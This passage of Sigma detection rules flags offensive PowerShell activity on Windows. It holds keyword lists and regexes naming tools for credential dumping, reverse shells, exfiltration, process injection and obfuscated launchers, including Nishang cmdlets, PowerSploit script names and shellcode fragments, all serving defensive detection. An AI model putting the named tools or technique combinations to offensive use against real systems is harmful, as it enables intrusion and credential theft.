- 'Invoke-PsExec'
- 'Invoke-PSInject'
- 'Invoke-PsUaCme'
- 'Invoke-ReflectivePEInjection'
- 'Invoke-ReverseDNSLookup'
- 'Invoke-Rubeus'
- 'Invoke-RunAs'
- 'Invoke-SafetyKatz'
- 'Invoke-SauronEye'
- 'Invoke-SCShell'
- 'Invoke-Seatbelt'
- 'Invoke-ServiceAbuse'
- 'Invoke-ShadowSpray'
- 'Invoke-Sharp' # Covers all "Invoke-Sharp" variants
- 'Invoke-Shellcode'
- 'Invoke-SMBScanner'
- 'Invoke-Snaffler'
- 'Invoke-Spoolsample'
- 'Invoke-SpraySinglePassword'
- 'Invoke-SSHCommand'
- 'Invoke-StandIn'
- 'Invoke-StickyNotesExtract'
- 'Invoke-SystemCommand'
- 'Invoke-Tasksbackdoor'
- 'Invoke-Tater'
- 'Invoke-Thunderfox'
- 'Invoke-ThunderStruck'
- 'Invoke-TokenManipulation'
- 'Invoke-Tokenvator'
- 'Invoke-TotalExec'
- 'Invoke-UrbanBishop'
- 'Invoke-UserHunter'
- 'Invoke-VoiceTroll'
- 'Invoke-Whisker'
- 'Invoke-WinEnum'
- 'Invoke-winPEAS'
- 'Invoke-WireTap'
- 'Invoke-WmiCommand'
- 'Invoke-WMIExec'
- 'Invoke-WScriptBypassUAC'
- 'Invoke-Zerologon'
- 'MailRaider'
- 'New-ADIDNSNode'
- 'New-HoneyHash'
- 'New-InMemoryModule'
- 'New-SOASerialNumberArray'
- 'Out-Minidump'
- 'PowerBreach'
- 'powercat '
- 'PowerUp'
- 'PowerView'
- 'Remove-ADIDNSNode'
- 'Remove-Update'
- 'Rename-ADIDNSNode'
- 'Revoke-ADIDNSPermission'
- 'Set-ADIDNSNode' # Covers: Set-ADIDNSNodeAttribute, Set-ADIDNSNodeOwner
- 'Show-TargetScreen'
- 'Start-CaptureServer'
- 'Start-Dnscat2'
- 'Start-WebcamRecorder'
- 'VolumeShadowCopyTools'
# - 'Check-VM'
# - 'Disable-MachineAccount'
# - 'Enable-MachineAccount'
# - 'Get-ApplicationHost'
# - 'Get-MachineAccountAttribute'
# - 'Get-MachineAccountCreator'
# - 'Get-Screenshot'
# - 'HTTP-Login'
# - 'Install-ServiceBinary'
# - 'Install-SSP'
# - 'New-DNSRecordArray'
# - 'New-MachineAccount'
# - 'Port-Scan'
# - 'Remove-MachineAccount'
# - 'Set-MacAttribute'
# - 'Set-MachineAccountAttribute'
# - 'Set-Wallpaper'
filter_optional_amazon_ec2:
ScriptBlockText|contains:
- Get-SystemDriveInfo # http://bheltborg.dk/Windows/WinSxS/amd64_microsoft-windows-maintenancediagnostic_31bf3856ad364e35_10.0.10240.16384_none_91ef7543a4514b5e/CL_Utility.ps1
- C:\ProgramData\Amazon\EC2-Windows\Launch\Module\ # false positive form Amazon EC2
condition: selection and not 1 of filter_optional_*
falsepositives:
- Unknown
level: high
title: Malicious Nishang PowerShell Commandlets
id: f772cee9-b7c2-4cb2-8f07-49870adc02e0
status: test
description: Detects Commandlet names and arguments from the Nishang exploitation framework
references:
- https://github.com/samratashok/nishang
author: Alec Costello
date: 2019-05-16
modified: 2023-01-16
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains:
- 'Add-ConstrainedDelegationBackdoor'
# - 'Add-Persistence' # Covered in 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
# - 'Add-RegBackdoor' # Covered in 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
# - 'Add-ScrnSaveBackdoor' # Covered in 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
- 'Copy-VSS'
- 'Create-MultipleSessions'
- 'DataToEncode'
- 'DNS_TXT_Pwnage'
- 'Do-Exfiltration-Dns'
- 'Download_Execute'
- 'Download-Execute-PS'
- 'DownloadAndExtractFromRemoteRegistry'
- 'DumpCerts'
- 'DumpCreds'
- 'DumpHashes'
- 'Enable-DuplicateToken'
- 'Enable-Duplication'
- 'Execute-Command-MSSQL'
- 'Execute-DNSTXT-Code'
- 'Execute-OnTime'
- 'ExetoText'
- 'exfill'
- 'ExfilOption'
- 'FakeDC'
- 'FireBuster'
- 'FireListener'
- 'Get-Information ' # Space at the end is required. Otherwise, we get FP with Get-InformationBarrierReportDetails or Get-InformationBarrierReportSummary
# - 'Get-PassHashes' # Covered in 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
- 'Get-PassHints'
- 'Get-Web-Credentials'
- 'Get-WebCredentials'
- 'Get-WLAN-Keys'
# - 'Gupt-Backdoor' # Covered in 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
- 'HTTP-Backdoor'
# - 'Invoke-ADSBackdoor' # Covered in 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
- 'Invoke-AmsiBypass'
- 'Invoke-BruteForce'
- 'Invoke-CredentialsPhish'
- 'Invoke-Decode'
- 'Invoke-Encode'
- 'Invoke-Interceptor'
- 'Invoke-JSRatRegsvr'
- 'Invoke-JSRatRundll'
- 'Invoke-MimikatzWDigestDowngrade'
- 'Invoke-NetworkRelay'
# - 'Invoke-PortScan' # Covered in 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
# - 'Invoke-PoshRatHttp' # Covered in 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
- 'Invoke-PowerShellIcmp'
- 'Invoke-PowerShellUdp'
- 'Invoke-Prasadhak'
- 'Invoke-PSGcat'
- 'Invoke-PsGcatAgent'
# - 'Invoke-PsUACme' # Covered in 89819aa4-bbd6-46bc-88ec-c7f7fe30efa6
- 'Invoke-SessionGopher'
- 'Invoke-SSIDExfil'
# - Jitter # Prone to FPs
# - 'Keylogger' # Too generic to be linked to Nishang
- 'LoggedKeys'
- 'Nishang'
- 'NotAllNameSpaces' # This is param to "Set-RemoteWMI"
- 'Out-CHM'
- 'OUT-DNSTXT'
- 'Out-HTA'
- 'Out-RundllCommand'
- 'Out-SCF'
- 'Out-SCT'
- 'Out-Shortcut'
- 'Out-WebQuery'
- 'Out-Word'
- 'Parse_Keys'
- 'Password-List'
- 'Powerpreter'
- 'Remove-Persistence'
- 'Remove-PoshRat'
- 'Remove-Update'
- 'Run-EXEonRemote'
- 'Set-DCShadowPermissions'
- 'Set-RemotePSRemoting'
- 'Set-RemoteWMI'
- 'Shellcode32'
- 'Shellcode64'
- 'StringtoBase64'
- 'TexttoExe'
condition: selection
falsepositives:
- Unknown
level: high
title: Invoke-Obfuscation CLIP+ Launcher - PowerShell
id: 73e67340-0d25-11eb-adc1-0242ac120002
status: test
description: Detects Obfuscated use of Clip.exe to execute PowerShell
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task 26)
author: Jonathan Cheong, oscd.community
date: 2020-10-13
modified: 2024-04-05
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_4104:
ScriptBlockText|re: 'cmd.{0,5}(?:/c|/r).+clip(?:\.exe)?.{0,4}&&.+clipboard]::\(\s\\"\{\d\}.+-f.+"'
condition: selection_4104
falsepositives:
- Unknown
level: high
title: Suspicious PowerShell Invocations - Generic
id: ed965133-513f-41d9-a441-e38076a0798f
related:
- id: 3d304fda-78aa-43ed-975c-d740798a49c1
type: derived
- id: bbb80e91-5746-4fbe-8898-122e2cafdbf4
type: similar
status: test
description: Detects suspicious PowerShell invocation command parameters
references:
- Internal Research
author: Florian Roth (Nextron Systems)
date: 2017-03-12
modified: 2023-01-03
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_encoded:
ScriptBlockText|contains:
- ' -enc '
- ' -EncodedCommand '
- ' -ec '
selection_hidden:
ScriptBlockText|contains:
- ' -w hidden '
- ' -window hidden '
- ' -windowstyle hidden '
- ' -w 1 '
selection_noninteractive:
ScriptBlockText|contains:
- ' -noni '
- ' -noninteractive '
condition: all of selection*
falsepositives:
- Very special / sneaky PowerShell scripts
level: high
title: PowerShell Web Access Installation - PsScript
id: 5f9c7f1a-7c21-4c39-b2f3-8d8006e0e51f
status: test
description: Detects the installation and configuration of PowerShell Web Access, which could be used for remote access and potential abuse
references:
- https://docs.microsoft.com/en-us/powershell/module/powershellwebaccess/install-pswawebapplication
- https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-241a
- https://gist.github.com/MHaggis/7e67b659af9148fa593cf2402edebb41
author: Michael Haag
date: 2024-09-03
tags:
- attack.persistence
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_install:
ScriptBlockText|contains: 'Install-WindowsFeature WindowsPowerShellWebAccess'
selection_config:
ScriptBlockText|contains: 'Install-PswaWebApplication'
selection_auth:
ScriptBlockText|contains|all:
- 'Add-PswaAuthorizationRule'
- '-UserName *'
- '-ComputerName *'
condition: 1 of selection_*
falsepositives:
- Legitimate PowerShell Web Access installations by administrators
level: high
title: Potential WinAPI Calls Via PowerShell Scripts
id: 03d83090-8cba-44a0-b02f-0b756a050306
related:
- id: ba3f5c1b-6272-4119-9dbd-0bc8d21c2702
type: similar
status: test
description: Detects use of WinAPI functions in PowerShell scripts
references:
- https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse
author: Nasreddine Bencherchali (Nextron Systems), Nikita Nazarov, oscd.community
date: 2020-10-06
modified: 2023-06-20
tags:
- attack.execution
- attack.t1059.001
- attack.t1106
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
# Note: Add more suspicious combinations in the form of different selections
selection_injection:
ScriptBlockText|contains|all:
- 'VirtualAlloc'
- 'OpenProcess'
- 'WriteProcessMemory'
- 'CreateRemoteThread'
selection_token_steal:
ScriptBlockText|contains|all:
- 'OpenProcessToken'
- 'LookupPrivilegeValue'
- 'AdjustTokenPrivileges'
selection_duplicate_token:
ScriptBlockText|contains|all:
- 'OpenProcessToken'
- 'DuplicateTokenEx'
- 'CloseHandle'
selection_process_write_read:
ScriptBlockText|contains|all:
- 'WriteProcessMemory'
- 'VirtualAlloc'
- 'ReadProcessMemory'
- 'VirtualFree'
condition: 1 of selection_*
falsepositives:
- Unknown
level: high
title: DSInternals Suspicious PowerShell Cmdlets - ScriptBlock
id: 846c7a87-8e14-4569-9d49-ecfd4276a01c
related:
- id: 43d91656-a9b2-4541-b7e2-6a9bd3a13f4e
type: similar
status: test
description: |
Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files.
The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.
references:
- https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.PowerShell/DSInternals.psd1
author: Nasreddine Bencherchali (Nextron Systems)
date: 2024-06-26
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains:
- 'Add-ADDBSidHistory'
- 'Add-ADNgcKey'
- 'Add-ADReplNgcKey'
- 'ConvertFrom-ADManagedPasswordBlob'
- 'ConvertFrom-GPPrefPassword'
- 'ConvertFrom-ManagedPasswordBlob'
- 'ConvertFrom-UnattendXmlPassword'
- 'ConvertFrom-UnicodePassword'
- 'ConvertTo-AADHash'
- 'ConvertTo-GPPrefPassword'
- 'ConvertTo-KerberosKey'
- 'ConvertTo-LMHash'
- 'ConvertTo-MsoPasswordHash'
- 'ConvertTo-NTHash'
- 'ConvertTo-OrgIdHash'
- 'ConvertTo-UnicodePassword'
- 'Disable-ADDBAccount'
- 'Enable-ADDBAccount'
- 'Get-ADDBAccount'
- 'Get-ADDBBackupKey'
- 'Get-ADDBDomainController'
- 'Get-ADDBGroupManagedServiceAccount'
- 'Get-ADDBKdsRootKey'
- 'Get-ADDBSchemaAttribute'
- 'Get-ADDBServiceAccount'
- 'Get-ADDefaultPasswordPolicy'
- 'Get-ADKeyCredential' # Covers 'Get-ADKeyCredentialLink'
- 'Get-ADPasswordPolicy'
- 'Get-ADReplAccount'
- 'Get-ADReplBackupKey'
- 'Get-ADReplicationAccount'
- 'Get-ADSIAccount'
- 'Get-AzureADUserEx'
- 'Get-BootKey'
- 'Get-KeyCredential'
- 'Get-LsaBackupKey'
- 'Get-LsaPolicy' # Covers 'Get-LsaPolicyInformation'
- 'Get-SamPasswordPolicy'
- 'Get-SysKey'
- 'Get-SystemKey'
- 'New-ADDBRestoreFromMediaScript'
- 'New-ADKeyCredential' # Covers 'New-ADKeyCredentialLink'
- 'New-ADNgcKey'
- 'New-NTHashSet'
- 'Remove-ADDBObject'
- 'Save-DPAPIBlob'
- 'Set-ADAccountPasswordHash'
- 'Set-ADDBAccountPassword' # Covers 'Set-ADDBAccountPasswordHash'
- 'Set-ADDBBootKey'
- 'Set-ADDBDomainController'
- 'Set-ADDBPrimaryGroup'
- 'Set-ADDBSysKey'
- 'Set-AzureADUserEx'
- 'Set-LsaPolicy' # Covers 'Set-LSAPolicyInformation'
- 'Set-SamAccountPasswordHash'
- 'Set-WinUserPasswordHash'
- 'Test-ADDBPasswordQuality'
- 'Test-ADPasswordQuality'
- 'Test-ADReplPasswordQuality'
- 'Test-PasswordQuality'
- 'Unlock-ADDBAccount'
- 'Write-ADNgcKey'
- 'Write-ADReplNgcKey'
condition: selection
falsepositives:
- Legitimate usage of DSInternals for administration or audit purpose.
level: high
title: Invoke-Obfuscation Via Use Clip - Powershell
id: db92dd33-a3ad-49cf-8c2c-608c3e30ace0
status: test
description: Detects Obfuscated Powershell via use Clip.exe in Scripts
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task29)
author: Nikita Nazarov, oscd.community
date: 2020-10-09
modified: 2024-04-15
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_4104:
ScriptBlockText|re: '(?i)echo.*clip.*&&.*(Clipboard|i`?n`?v`?o`?k`?e`?)'
condition: selection_4104
falsepositives:
- Unknown
level: high
title: Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION - PowerShell
id: e54f5149-6ba3-49cf-b153-070d24679126
status: test
description: Detects Obfuscated Powershell via VAR++ LAUNCHER
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task27)
author: Timur Zinniatullin, oscd.community
date: 2020-10-13
modified: 2024-04-05
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_4104:
ScriptBlockText|re: '(?i)&&set.*(\{\d\}){2,}\\"\s+?-f.*&&.*cmd.*/c' # FPs with |\/r
condition: selection_4104
falsepositives:
- Unknown
level: high
title: NTFS Alternate Data Stream
id: 8c521530-5169-495d-a199-0a3a881ad24e
status: test
description: Detects writing data into NTFS alternate data streams from powershell. Needs Script Block Logging.
references:
- https://web.archive.org/web/20220614030603/http://www.powertheshell.com/ntfsstreams/
- https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md
author: Sami Ruohonen
date: 2018-07-24
modified: 2022-12-25
tags:
- attack.stealth
- attack.t1564.004
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_content:
ScriptBlockText|contains:
- set-content
- add-content
selection_stream:
ScriptBlockText|contains: '-stream'
condition: all of selection*
falsepositives:
- Unknown
level: high
title: PowerShell ShellCode
id: 16b37b70-6fcf-4814-a092-c36bd3aafcbd
status: test
description: Detects Base64 encoded Shellcode
references:
- https://twitter.com/cyb3rops/status/1063072865992523776
author: David Ledbetter (shellcode), Florian Roth (Nextron Systems)
date: 2018-11-17
modified: 2024-01-25
tags:
- attack.privilege-escalation
- attack.stealth
- attack.t1055
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains:
- 'OiCAAAAYInlM'
- 'OiJAAAAYInlM'
condition: selection
falsepositives:
- Unknown
level: high
title: Invoke-Obfuscation Via Use MSHTA - PowerShell
id: e55a5195-4724-480e-a77e-3ebe64bd3759
status: test
description: Detects Obfuscated Powershell via use MSHTA in Scripts
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task31)
author: Nikita Nazarov, oscd.community
date: 2020-10-08
modified: 2022-11-29
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_4104:
ScriptBlockText|contains|all:
- 'set'
- '&&'
- 'mshta'
- 'vbscript:createobject'
- '.run'
- '(window.close)'
condition: selection_4104
falsepositives:
- Unknown
level: high
title: WMImplant Hack Tool
id: 8028c2c3-e25a-46e3-827f-bbb5abf181d7
status: test
description: Detects parameters used by WMImplant
references:
- https://github.com/FortyNorthSecurity/WMImplant
author: NVISO
date: 2020-03-26
modified: 2022-12-25
tags:
- attack.execution
- attack.t1047
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains:
- 'WMImplant'
- ' change_user '
- ' gen_cli '
- ' command_exec '
- ' disable_wdigest '
- ' disable_winrm '
- ' enable_wdigest '
- ' enable_winrm '
- ' registry_mod '
- ' remote_posh '
- ' sched_job '
- ' service_mod '
- ' process_kill '
# - ' process_start '
- ' active_users '
- ' basic_info '
# - ' drive_list '
# - ' installed_programs '
- ' power_off '
- ' vacant_system '
- ' logon_events '
condition: selection
falsepositives:
- Administrative scripts that use the same keywords.
level: high
title: Invoke-Obfuscation STDIN+ Launcher - Powershell
id: 779c8c12-0eb1-11eb-adc1-0242ac120002
status: test
description: Detects Obfuscated use of stdin to execute PowerShell
references:
- https://github.com/SigmaHQ/sigma/issues/1009 # (Task 25)
author: Jonathan Cheong, oscd.community
date: 2020-10-15
modified: 2024-04-05
tags:
- attack.stealth
- attack.t1027
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection_4104:
ScriptBlockText|re: 'cmd.{0,5}(?:/c|/r).+powershell.+(?:\$?\{?input\}?|noexit).+"'
condition: selection_4104
falsepositives:
- Unknown
level: high
title: PSAsyncShell - Asynchronous TCP Reverse Shell
id: afd3df04-948d-46f6-ae44-25966c44b97f
status: test
description: Detects the use of PSAsyncShell an Asynchronous TCP Reverse Shell written in powershell
references:
- https://github.com/JoelGMSec/PSAsyncShell
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-10-04
tags:
- attack.execution
- attack.t1059.001
logsource:
product: windows
category: ps_script
definition: 'Requirements: Script Block Logging must be enabled'
detection:
selection:
ScriptBlockText|contains: 'PSAsyncShell'
condition: selection
falsepositives:
- Unlikely
level: high
title: Malicious PowerShell Scripts - FileCreation
id: f331aa1f-8c53-4fc3-b083-cc159bc971cb
related:
- id: 41025fd7-0466-4650-a813-574aaacbe7f4
type: similar
status: test
description: Detects the creation of known offensive powershell scripts used for exploitation
references:
- https://github.com/PowerShellMafia/PowerSploit
- https://github.com/NetSPI/PowerUpSQL
- https://github.com/CsEnox/EventViewer-UACBypass
- https://web.archive.org/web/20210511204621/https://github.com/AlsidOfficial/WSUSpendu
- https://github.com/nettitude/Invoke-PowerThIEf
- https://github.com/S3cur3Th1sSh1t/WinPwn
- https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries
- https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1
- https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1
- https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1
- https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1
- https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/ # Invoke-TotalExec
- https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/ # Invoke-TotalExec
- https://github.com/HarmJ0y/DAMP
- https://github.com/samratashok/nishang
- https://github.com/DarkCoderSc/PowerRunAsSystem/
- https://github.com/besimorhino/powercat
- https://github.com/Kevin-Robertson/Powermad
- https://github.com/adrecon/ADRecon
- https://github.com/adrecon/AzureADRecon
- https://github.com/sadshade/veeam-creds/blob/6010eaf31ba41011b58d6af3950cffbf6f5cea32/Veeam-Get-Creds.ps1
- https://github.com/The-Viper-One/Invoke-PowerDPAPI/
- https://github.com/Arno0x/DNSExfiltrator/
author: Markus Neis, Nasreddine Bencherchali (Nextron Systems), Mustafa Kaan Demir, Georg Lauenstein
date: 2018-04-07
modified: 2025-12-10
tags:
- attack.execution
- attack.t1059.001
logsource:
category: file_event
product: windows
detection:
selection_generic:
TargetFilename|endswith:
# Note: Please ensure alphabetical order when adding new entries
- '\Add-ConstrainedDelegationBackdoor.ps1'
- '\Add-Exfiltration.ps1'
- '\Add-Persistence.ps1'
- '\Add-RegBackdoor.ps1'
- '\Add-RemoteRegBackdoor.ps1'
- '\Add-ScrnSaveBackdoor.ps1'
- '\ADRecon.ps1'
- '\AzureADRecon.ps1'
- '\BadSuccessor.ps1'
- '\Check-VM.ps1'
- '\ConvertTo-ROT13.ps1'
- '\Copy-VSS.ps1'
- '\Create-MultipleSessions.ps1'
- '\DNS_TXT_Pwnage.ps1'
- '\dnscat2.ps1'
- '\Do-Exfiltration.ps1'
- '\DomainPasswordSpray.ps1'
- '\Download_Execute.ps1'
- '\Download-Execute-PS.ps1'
- '\Enable-DuplicateToken.ps1'
- '\Enabled-DuplicateToken.ps1'
- '\Execute-Command-MSSQL.ps1'
- '\Execute-DNSTXT-Code.ps1'
- '\Execute-OnTime.ps1'
- '\ExetoText.ps1'
- '\Exploit-Jboss.ps1'
- '\Find-AVSignature.ps1'
- '\Find-Fruit.ps1'
- '\Find-GPOLocation.ps1'
- '\Find-TrustedDocuments.ps1'
- '\FireBuster.ps1'
- '\FireListener.ps1'
- '\Get-ApplicationHost.ps1'
- '\Get-ChromeDump.ps1'
- '\Get-ClipboardContents.ps1'
- '\Get-ComputerDetail.ps1'
- '\Get-FoxDump.ps1'
- '\Get-GPPAutologon.ps1'
- '\Get-GPPPassword.ps1'
- '\Get-IndexedItem.ps1'
- '\Get-Keystrokes.ps1'
- '\Get-LSASecret.ps1'
- '\Get-MicrophoneAudio.ps1'
- '\Get-PassHashes.ps1'
- '\Get-PassHints.ps1'
- '\Get-RegAlwaysInstallElevated.ps1'
- '\Get-RegAutoLogon.ps1'
- '\Get-RickAstley.ps1'
- '\Get-Screenshot.ps1'
- '\Get-SecurityPackages.ps1'
- '\Get-ServiceFilePermission.ps1'
- '\Get-ServicePermission.ps1'
- '\Get-ServiceUnquoted.ps1'
- '\Get-SiteListPassword.ps1'
- '\Get-System.ps1'
- '\Get-TimedScreenshot.ps1'
- '\Get-UnattendedInstallFile.ps1'
- '\Get-Unconstrained.ps1'
- '\Get-USBKeystrokes.ps1'
- '\Get-VaultCredential.ps1'
- '\Get-VulnAutoRun.ps1'
- '\Get-VulnSchTask.ps1'
- '\Get-WebConfig.ps1'
- '\Get-WebCredentials.ps1'
- '\Get-WLAN-Keys.ps1'
- '\Gupt-Backdoor.ps1'
- '\HTTP-Backdoor.ps1'
- '\HTTP-Login.ps1'
- '\Install-ServiceBinary.ps1'
- '\Install-SSP.ps1'
- '\Invoke-ACLScanner.ps1'
- '\Invoke-ADSBackdoor.ps1'
- '\Invoke-AmsiBypass.ps1'
- '\Invoke-ARPScan.ps1'
- '\Invoke-BackdoorLNK.ps1'
- '\Invoke-BadPotato.ps1'
- '\Invoke-BetterSafetyKatz.ps1'
- '\Invoke-BruteForce.ps1'
- '\Invoke-BypassUAC.ps1'
- '\Invoke-Carbuncle.ps1'
- '\Invoke-Certify.ps1'
- '\Invoke-ConPtyShell.ps1'
- '\Invoke-CredentialInjection.ps1'
- '\Invoke-CredentialsPhish.ps1'
- '\Invoke-DAFT.ps1'
- '\Invoke-DCSync.ps1'
- '\Invoke-Decode.ps1'
- '\Invoke-DinvokeKatz.ps1'
- '\Invoke-DllInjection.ps1'
- '\Invoke-DNSExfiltrator.ps1'
- '\Invoke-DNSUpdate.ps1'
- '\Invoke-DowngradeAccount.ps1'
- '\Invoke-EgressCheck.ps1'
- '\Invoke-Encode.ps1'
- '\Invoke-EventViewer.ps1'
- '\Invoke-Eyewitness.ps1'
- '\Invoke-FakeLogonScreen.ps1'
- '\Invoke-Farmer.ps1'
- '\Invoke-Get-RBCD-Threaded.ps1'
- '\Invoke-Gopher.ps1'
- '\Invoke-Grouper2.ps1'
- '\Invoke-Grouper3.ps1'
- '\Invoke-HandleKatz.ps1'
- '\Invoke-Interceptor.ps1'
- '\Invoke-Internalmonologue.ps1'
- '\Invoke-Inveigh.ps1'
- '\Invoke-InveighRelay.ps1'
- '\Invoke-JSRatRegsvr.ps1'
- '\Invoke-JSRatRundll.ps1'
- '\Invoke-KrbRelay.ps1'
- '\Invoke-KrbRelayUp.ps1'
- '\Invoke-LdapSignCheck.ps1'
- '\Invoke-Lockless.ps1'
- '\Invoke-MalSCCM.ps1'
- '\Invoke-Mimikatz.ps1'
- '\Invoke-MimikatzWDigestDowngrade.ps1'
- '\Invoke-Mimikittenz.ps1'
- '\Invoke-MITM6.ps1'
- '\Invoke-NanoDump.ps1'
- '\Invoke-NetRipper.ps1'
- '\Invoke-NetworkRelay.ps1'
- '\Invoke-NinjaCopy.ps1'
- '\Invoke-OxidResolver.ps1'
- '\Invoke-P0wnedshell.ps1'
- '\Invoke-P0wnedshellx86.ps1'
- '\Invoke-Paranoia.ps1'
- '\Invoke-PortScan.ps1'
- '\Invoke-PoshRatHttp.ps1'
- '\Invoke-PoshRatHttps.ps1'
- '\Invoke-PostExfil.ps1'
- '\Invoke-PowerDump.ps1'
- '\Invoke-PowerDPAPI.ps1'
- '\Invoke-PowerShellIcmp.ps1'
- '\Invoke-PowerShellTCP.ps1'
- '\Invoke-PowerShellTcpOneLine.ps1'
- '\Invoke-PowerShellTcpOneLineBind.ps1'
- '\Invoke-PowerShellUdp.ps1'
- '\Invoke-PowerShellUdpOneLine.ps1'
- '\Invoke-PowerShellWMI.ps1'
- '\Invoke-PowerThIEf.ps1'
- '\Invoke-PPLDump.ps1'
- '\Invoke-Prasadhak.ps1'
- '\Invoke-PsExec.ps1'
- '\Invoke-PsGcat.ps1'
- '\Invoke-PsGcatAgent.ps1'
- '\Invoke-PSInject.ps1'
- '\Invoke-PsUaCme.ps1'
- '\Invoke-ReflectivePEInjection.ps1'
- '\Invoke-ReverseDNSLookup.ps1'
- '\Invoke-Rubeus.ps1'
- '\Invoke-RunAs.ps1'
- '\Invoke-SafetyKatz.ps1'
- '\Invoke-SauronEye.ps1'
- '\Invoke-SCShell.ps1'
- '\Invoke-Seatbelt.ps1'
- '\Invoke-ServiceAbuse.ps1'
- '\Invoke-SessionGopher.ps1'
- '\Invoke-ShellCode.ps1'
- '\Invoke-SMBScanner.ps1'
- '\Invoke-Snaffler.ps1'
- '\Invoke-Spoolsample.ps1'
- '\Invoke-SSHCommand.ps1'
- '\Invoke-SSIDExfil.ps1'
- '\Invoke-StandIn.ps1'
- '\Invoke-StickyNotesExtract.ps1'
- '\Invoke-Tater.ps1'
- '\Invoke-Thunderfox.ps1'
- '\Invoke-ThunderStruck.ps1'
- '\Invoke-TokenManipulation.ps1'
- '\Invoke-Tokenvator.ps1'
- '\Invoke-TotalExec.ps1'
- '\Invoke-UrbanBishop.ps1'
- '\Invoke-UserHunter.ps1'
- '\Invoke-VoiceTroll.ps1'
- '\Invoke-Whisker.ps1'
- '\Invoke-WinEnum.ps1'
- '\Invoke-winPEAS.ps1'
- '\Invoke-WireTap.ps1'
- '\Invoke-WmiCommand.ps1'
- '\Invoke-WScriptBypassUAC.ps1'
- '\Invoke-Zerologon.ps1'
- '\Keylogger.ps1'
- '\MailRaider.ps1'
- '\New-HoneyHash.ps1'
- '\OfficeMemScraper.ps1'
- '\Offline_Winpwn.ps1'
- '\Out-CHM.ps1'
- '\Out-DnsTxt.ps1'
- '\Out-Excel.ps1'
- '\Out-HTA.ps1'
- '\Out-Java.ps1'
- '\Out-JS.ps1'
- '\Out-Minidump.ps1'
- '\Out-RundllCommand.ps1'
- '\Out-SCF.ps1'
- '\Out-SCT.ps1'
- '\Out-Shortcut.ps1'
- '\Out-WebQuery.ps1'
- '\Out-Word.ps1'
- '\Parse_Keys.ps1'
- '\Port-Scan.ps1'
- '\PowerBreach.ps1'
- '\powercat.ps1'
- '\Powermad.ps1'
- '\PowerRunAsSystem.psm1'
- '\PowerSharpPack.ps1'
- '\PowerUp.ps1'
- '\PowerUpSQL.ps1'
- '\PowerView.ps1'
- '\PSAsyncShell.ps1'
- '\RemoteHashRetrieval.ps1'
- '\Remove-Persistence.ps1'
- '\Remove-PoshRat.ps1'
- '\Remove-Update.ps1'
- '\Run-EXEonRemote.ps1'
- '\Schtasks-Backdoor.ps1'
- '\Set-DCShadowPermissions.ps1'
